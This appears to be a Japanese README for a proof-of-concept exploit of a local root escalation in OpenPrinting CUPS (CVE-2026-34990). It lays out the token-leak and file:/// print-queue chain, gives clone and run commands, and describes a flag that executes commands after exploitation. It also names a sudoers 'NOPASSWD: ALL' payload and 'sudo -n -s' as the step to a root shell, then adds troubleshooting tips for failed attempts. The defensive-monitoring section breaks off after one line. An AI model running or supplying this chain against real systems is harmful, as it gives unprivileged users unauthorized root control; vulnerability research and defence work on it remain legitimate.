
ローカルの非特権ユーザー → root、漏洩した CUPS の
Local認証トークンとポリシーをバイパスするfile:///プリントキューを経由。PoC by 0xcybersoldier
CVE-2026-34990 は、OpenPrinting CUPS におけるローカル権限昇格の脆弱性であり、2.4.16 以前のバージョンに影響します。
CUPS デーモン(cupsd)に到達可能なローカルの非特権ユーザーは、ループバックインターフェース上の攻撃者が制御する IPP サービスに対して認証を行わせる可能性があります。
その結果得られる Authorization: Local <token> 認証情報は、その後 CUPS の管理インターフェースに対して再利用することができます。
この攻撃チェーンは最終的に、file:/// プリントキューを作成し、cupsd に攻撃者が制御するファイルを root 権限で書き込ませるために使用される可能性があります。
典型的なデモンストレーションでは、sudoers のドロップインを使用して root シェルを取得します。
このリポジトリには、攻撃チェーンを実装した単一ファイルの Python 3 PoC が含まれており、永続的な権限昇格設定を直接作成することなく、脆弱なファイル書き込み動作を実証するためのより安全な --check モードも含まれています。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-34990 |
| コンポーネント | OpenPrinting CUPS (cupsd) |
| 影響を受けるバージョン | <= 2.4.16 |
| 脆弱性クラス | CWE-306 / CWE-284 |
| 影響 | ローカル権限昇格 |
| 攻撃ベクトル | ローカル |
| 必要な権限 | 低 |
| ユーザー操作 | なし |
| 発見者 | Asim Viladi Oglu Manizada |
| アドバイザリ | GHSA-c54j-2vqw-wpwp |
PoC の対象:
OpenPrinting CUPS <= 2.4.16
ローカルで実行中の CUPS バージョンを確認:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
例:
Server: CUPS/2.4.16 IPP/2.1
注意: ベンダーのパッチやバージョンの状況は変更される可能性があるため、本番環境の調査で影響を受けるバージョン範囲に依存する前に、最新のアップストリームアドバイザリを確認してください。
[1] ローカルユーザーが CUPS-Create-Local-Printer を発行
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd がループバック上の攻撃者が制御する
IPP サービスに接続
|
v
[3] 偽の IPP サービスが応答:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups が次の認証情報でリクエストを再試行:
Authorization: Local <token>
|
v
[5] トークンをキャプチャ
|
v
[6] トークンを CUPS 管理インターフェースに対して再利用
|
v
[7] 一時的な file:// プリンタが作成され、
プリンタ管理ワークフローを経由
|
v
[8] Print-Job により cupsd が提供された
ドキュメントを file:// ターゲットに書き込む
|
v
[9] デモ用ペイロードが sudoers などの
特権設定を変更可能
|
v
ROOT
127.0.0.1:631 で到達可能な CUPS サービスsudo が利用可能外部 Python パッケージは不要です。
リポジトリをクローン:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
PoC を実行可能にする:
chmod +x cve-2026-34990.py
追加の依存関係は不要です。
非永続的な検証モードから開始します:
./cve-2026-34990.py --check
チェックモードは、一時的な証明ファイルを使用して脆弱な root 所有のファイル書き込みプリミティブを実証しようとし、テスト後にクリーンアップします。
デフォルトモードでは、完全な権限昇格チェーンを実証します:
./cve-2026-34990.py
コマンドは次のように指定できます:
./cve-2026-34990.py -c 'id'
例:
./cve-2026-34990.py -c 'id; whoami'
| フラグ | デフォルト | 説明 |
|---|---|---|
--cups-port | 631 | ローカル CUPS の TCP ポート |
--listen-port | 9189 | トークンキャプチャリスナーが使用するループバックポート |
--check | オフ | 安全な検証モード |
-c, --command | — | 悪用成功後にコマンドを実行 |
--proof-dir | /var/tmp | 一時的な証明ファイルの親ディレクトリ |
--attempts | 8 | ファイル書き込み試行回数 |
--iterations | 80 | 試行あたりの IPP リクエストラウンド数 |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
PoC by 0xcybersoldier
[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file
PoC は、device-uri がループバックインターフェース上の攻撃者が制御する IPP リスナーを指す一時的な CUPS プリンタを作成します。
例:
ipp://127.0.0.1:9189/ipp/print
ローカルリスナーは認証チャレンジで応答します:
401 Unauthorized
WWW-Authenticate: Local trc="y"
これにより、CUPS クライアント/サーバー間のやり取りがローカル認証メカニズムを使用して再試行されます。
PoC はその結果得られる:
Authorization: Local <token>
認証情報をキャプチャします。
キャプチャしたトークンは、CUPS 管理インターフェースへのリクエストで再利用されます。
概念的には:
Authorization: Local <TOKEN>
これにより、後続のプリンタ管理操作に必要な認証コンテキストが提供されます。
次に、この攻撃はプリンタ管理ワークフローを悪用して、file:// ターゲットを参照するキューを作成します。
関連するターゲットは次の形式です:
file:///path/to/target
PoC は、キューをオンラインにして印刷ジョブを送信するために必要なプリンタ管理操作を使用します。
印刷ジョブは生のドキュメントとして送信されます。
cupsd は root 権限で動作しているため、結果として生じるファイル操作は root 権限で発生する可能性があります。
--check モードはこのプリミティブを使用して一時的な証明ファイルを作成し、それが UID 0 によって所有されていることを検証します。
完全なデモンストレーションでは、sudoers ドロップインなどの特権設定ファイルを使用できます。
概念的には:
user ALL=(ALL) NOPASSWD: ALL
ファイルが適切な所有権と権限で正常に書き込まれた場合、影響を受けるユーザーは次を実行できます:
sudo -n -s
そして root シェルを取得します。
| 症状 | 考えられる原因 | 推奨される修正 |
|---|---|---|
No Local token received | CUPS がパッチ済み、またはリスナーに到達不能 | CUPS バージョンとリスナーを確認 |
CUPS is not reachable | CUPS が停止している、または別のポートを使用 | --cups-port <port> を使用 |
| 受信接続なし | ローカルプリンタの作成が制限されている | CUPS 操作ポリシーを確認 |
NOT CONFIRMED | ファイル書き込み試行が成功しなかった | --attempts / --iterations を増やす |
| Sudoers ペイロードが拒否 | ユーザー名または環境が異なる | --check を使用 |
| リスナーのバインドエラー | ポートが既に使用されている | 別の --listen-port を使用 |
ループバックトラフィックを監視:
sudo tcpdump -i lo -n port 9189
最小限の検証を実行:
./cve-2026-34990.py \
--check \
--attempts 1 \
--iterations 1
CUPS サービスを確認:
systemctl status cups
リッスンソケットを確認:
ss -lntp | grep ':631'
防御側は、この攻撃チェーンに関連するいくつかの指標を監視できます。
以下を探します:
cupsd → 127.0.0.1:<high-port>
特に予期しないローカルポートへの接続に注意します。
例: